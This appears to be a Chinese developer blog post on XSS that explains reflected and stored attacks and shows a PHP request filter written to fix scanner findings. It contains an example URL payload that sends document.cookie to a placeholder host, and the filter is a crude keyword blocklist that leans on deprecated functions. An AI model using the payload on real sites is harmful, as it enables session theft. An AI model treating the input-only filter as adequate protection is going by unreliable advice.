xss安全漏洞分析以及项目实施解决方案

近期公司项目正好被检查出xss漏洞,一直以来其实都知道xss漏洞,不过并没有实际去写过,正好这两天处理了xss漏洞,下面来说一说xss漏洞相关的知识,以及我在项目中如何去解决xss漏洞。

近期公司项目正好被检查出xss漏洞,一直以来其实都知道xss漏洞,不过并没有实际去写过,正好这两天处理了xss漏洞,下面来说一说xss漏洞相关的知识,以及我在项目中如何去解决xss漏洞。

引言:

由于web前端的高速发展,现在的web应用都会使用大量的动态内容和动态交互来提高用户的使用体验,那么,动态内容会根据用户的环境来输出相应的内容。在这个内容上,就会受到“跨站脚本攻击”(Cross Site Scripting,缩写为XSS)的威胁。

xss是什么

xss是一种常见的web安全漏洞,它允许攻击者将恶意代码植入到提供其他用户使用的页面中,不同于大部分攻击,xss涉及到三方,攻击者、客户端与web应用,xss攻击目标是为了盗取存在客户端的cookie或其它网站用户识别客户端身份的敏感信息,一单获取到合法用户信息,攻击者甚至可以假冒合法用户和网站进行交互。

xss分类:

  • 存储型xss,主要让用户输入数据,其他用户浏览查看的地方,例如留言,评论、博客、日志等表单。
  • 反射型xss,主要将脚本代码加入url地址参数,参数再程序后直接输入,用户点击类似链接可能受到攻击

xss目前的主要手段和目的如下:

  • 盗用cookie,获取敏感信息。
  • 利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
  • 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击者)用户的身份执行一些管理动作,或执行一些如:发微博、加好友、发私信等常规操作,前段时间新浪微博就遭遇过一次XSS。
  • 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
  • 在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果

xss原理

Web应用未对用户提交请求的数据做充分的检查过滤,允许用户在提交的数据中掺入HTML代码(最主要的是“>”、“<”),并将未经转义的恶意代码输出到第三方用户的浏览器解释执行,是导致XSS漏洞的产生原因。

接下来以反射性XSS举例说明XSS的过程:现在有一个网站,根据参数输出用户的名称,例如访问url:http://127.0.0.1/?name=astaxie,就会在浏览器输出如下信息:

hello astaxie

如果我们传递这样的url:http://127.0.0.1/?name=&#60;script&#62;alert(&#39;astaxie,xss&#39;)&#60;/script&#62;,这时你就会发现浏览器跳出一个弹出框,这说明站点已经存在了XSS漏洞。那么恶意用户是如何盗取Cookie的呢?与上类似,如下这样的url:http://127.0.0.1/?name=&#60;script&#62;document.location.href='http://www.xxx.com/cookie?'+document.cookie&#60;/script&#62;,这样就可以把当前的cookie发送到指定的站点:www.xxx.com。你也许会说,这样的URL一看就有问题,怎么会有人点击?,是的,这类的URL会让人怀疑,但如果使用短网址服务将之缩短,你还看得出来么?攻击者将缩短过后的url通过某些途径传播开来,不明真相的用户一旦点击了这样的url,相应cookie数据就会被发送事先设定好的站点,这样子就盗得了用户的cookie信息,然后就可以利用Websleuth之类的工具来检查是否能盗取那个用户的账户。更多xss分析可看《新浪微博XSS事件分析

广告彩铃平台的xss漏洞

在我们的admin系统中,由于使用的spring.php框架过于陈旧,没有使用xss过滤,所以在系统多处均有xss漏洞,而在dsp系统中,spring.php框架提供了xss过滤功能,但是在使用中发现由于场景的需要,有些页面可能需要传递json,不能使用xss过滤,需要将其转换为php数组再将其属性进行xss过滤,但是这部分工作由于开发人员的疏忽,导致xss漏洞的存在,通过绿盟的扫描,我们及时对这种漏洞进行修复。

1.1 修复思路

根据xss的分类,我们实际可以知晓我们应当在用户输入至后台和前端网站输出内容两处做防护即可,那么在广告平台中,我们在用户输入出进行防护。ok,进入防护主题:

​ 首先我们需要一个在统一拦截器里面对参数进行xss过滤,在spring.php (公司自研发的php框架)框架中使用Request来统一获取由前端进行的web请求传递的参数值,通过对参数值的解析过滤,达到xss的效果,但是我们实际业务在获取参数的时候可能需要不过滤的内容(例如传递json),那么这个时候,我们需要设计两种方案,实现拿到安全的参数或不过滤的参数。

1.2 修复开始

class Request extends SingletonBase
{
    /**
     * 包含所有get请求字段的数组
     */
    private static $get = Array();
    private static $raw_get = Array();

    /**
     * 包含所有post请求字段的数组
     */
    private static $post = Array();
    private static $raw_post = Array();

    /**
     * 包含所有请求字段的数组
     */
    private static $request = Array();
    private static $raw_request = Array();

    /**
     * 客户端访问的ip地址
     */
    public static $client_ip = '';

    /**
     * 上一次访问地址
     */
    public static $referer = '';

    /**
     * 当前访问地址
     */
    public static $url = '';

    /**
     * 获取请求参数
     * @param string $name 请求参数名称
     */
    public static function params($name = '')
    {
        if ($name == '')
            return self::$request;
        $param = self::$request[$name];
        if(is_string($param)){
            return trim($param);
        }
        return $param;
    }

    /**
     * 获取表单请求参数
     * @param string $name 请求参数名称
     */
    public static function form($name = '')
    {
        if ($name == '')
            return self::$post;
        return self::$post[$name];
    }

    /**
     * 获取url请求参数
     * @param string $name 请求参数名称
     */
    public static function query($name = '')
    {
        if ($name == '')
            return self::$get;
        return self::$get[$name];
    }
    /**
     * 获取请求参数
     * @param string $name 请求参数名称
     */
    public static function rawparams($name = '')
    {
        if ($name == '')
            return self::$raw_request;
        $param = self::$raw_request[$name];
        if(is_string($param)){
            return trim($param);
        }
        return $param;
    }

    /**
     * 获取表单请求参数
     * @param string $name 请求参数名称
     */
    public static function rawform($name = '')
    {
        if ($name == '')
            return self::$raw_post;
        return self::$raw_post[$name];
    }

    /**
     * 获取url请求参数
     * @param string $name 请求参数名称
     */
    public static function rawquery($name = '')
    {
        if ($name == '')
            return self::$raw_get;
        return self::$raw_get[$name];
    }

    /**
     * 获取页面全地址
     */
    public static function getFullUrl()
    {
        $sys_protocal = isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443' ? 'https://' : 'http://';
        $php_self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
        $path_info = isset($_SERVER['PATH_INFO']) ? $_SERVER['PATH_INFO'] : '';
        $relate_url = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : $php_self . (isset($_SERVER['QUERY_STRING']) ? '?' . $_SERVER['QUERY_STRING'] : $path_info);
        return urlencode($sys_protocal . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '') . $relate_url);
    }

    /**
     * 加载
     */
    protected static function oncreate()
    {
        //对请求参数进行处理
        foreach ($_GET as $key => $value)
        {
            self::$get[$key] =  StringUtil::string_remove_xss($value);
            self::$raw_get[$key] = $value;
        }
        foreach ($_POST as $key => $value)
        {
            self::$post[$key] =  StringUtil::string_remove_xss($value);
            self::$raw_post[$key] = $value;
        }
        foreach ($_REQUEST as $key => $value)
        {
            self::$request[$key] =  StringUtil::string_remove_xss($value);
            self::$raw_request[$key] = $value;
        }

        self::$client_ip = $_SERVER['REMOTE_ADDR'];
        self::$referer = $_SERVER['HTTP_REFERER'];
        self::$url = $_SERVER['REQUEST_URI'];
    }
}
Request::create();

通过分析代码,我们可以看到Request在创建的时候会执行它的构造函数onCreate,那么每一次的web请求,均会调用onCreate方法,我们在此处可以对参数值进行筛选过滤,在参数中,我们设定了两种参数,他们都存放着web传递的值,这里我们暂时只举get的例子,self::getself::$raw_get,get用于存放过滤后的内容,raw_get用于存放未过滤的内容,方便我们实际业务的获取。在StringUtil::string_remove_xss($value)方法里面,我们去实际过滤下xss。

方法内容:

     /**
     * 移除数组的xss
     * @param $array
     * @return mixed
     */
    public static function array_remove_xss($array)
    {
        foreach ($array as $key => $item) {
            if (is_array($item)) {
                $array[$key] = self::array_remove_xss($item);
            } else {
                $array[$key] = self::string_remove_xss($item);
            }
        }
        return $array;
    }

    public static function string_remove_xss($html)
    {
        if (is_array($html)) {
            return self::array_remove_xss($html);
        } else if (!is_string($html)) {//如果不是字符串不过滤
            return $html;
        }
        $ra = Array('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '/script/', '/javascript/', '/vbscript/', '/expression/', '/applet/', '/meta/', '/xml/', '/blink/', '/link/', '/style/', '/embed/', '/object/', '/frame/', '/layer/', '/title/', '/bgsound/', '/base/', '/onload/', '/onunload/', '/onchange/', '/onsubmit/', '/onreset/', '/onselect/', '/onblur/', '/onfocus/', '/onabort/', '/onkeydown/', '/onkeypress/', '/onkeyup/', '/onclick/', '/ondblclick/', '/onmousedown/', '/onmousemove/', '/onmouseout/', '/onmouseover/', '/onmouseup/', '/onunload/');
        if (!get_magic_quotes_gpc())                         //不对magic_quotes_gpc转义过的字符使用addslashes(),避免双重转义。
        {
            $html = addslashes($html);                     //给单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)加上反斜线转义
        }
        $html = preg_replace($ra, '', $html);         //删除非打印字符,粗暴式过滤xss可疑字符串
        $html = htmlentities($html); //去除 HTML 和 PHP 标记并转换为 HTML 实体
        return $html;
    }

在筛选过滤中,我们首先对类型进行判断,如果是数组需要进行循环读取属性再调用string_remove_xss方法,

后面几步均有注释说明。

在实际业务使用中,我们只需要使用Request::params()方法获取web网页传递过滤后的值,使用Request::rawparams()方法获取web网页传递过滤的值。至此,xss漏洞的输入点防护解决完毕。

最后

​ 还有一种前端输出数据到网页的过滤模式�我们并没有写相关的处理,原因在于我们只需在输入处严格 控制即可,在输出的时候由于网站的安全策略,其他人点击链接是无法直接使用系统。

在现代基于MVVM框架的的SPA(单页应用)不需要刷新url来控制view,这样可以大大防止xss隐患,例如vue.js react.js在设计的时候设计者已经考虑了xss对html插值的攻击,我们使用者只需要熟练正确地使用他们,大部分情况下可以避免xss攻击。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,847评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,208评论 1 292
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,587评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,942评论 0 205
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,332评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,587评论 1 218
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,853评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,568评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,273评论 1 242
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,542评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,033评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,373评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,031评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,073评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,830评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,628评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,537评论 2 269

推荐阅读更多精彩内容